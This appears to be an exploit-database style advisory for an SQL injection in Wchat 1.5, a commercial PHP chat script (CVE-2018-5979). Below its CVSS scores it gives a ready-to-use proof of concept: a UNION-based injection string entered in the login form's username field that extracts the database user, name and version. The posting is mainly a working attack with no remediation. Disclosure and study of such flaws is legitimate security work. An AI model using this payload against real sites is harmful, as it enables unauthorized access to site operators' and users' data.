Wchat 1.5 SQL Injection

2018.01.24

Credit: Ihsan Sencan

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-5979

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# # # # # 
# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5979
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/login.php
# 
# User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX
# Pass: anything
# 
# # # # #

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Wchat 1.5 SQL Injection

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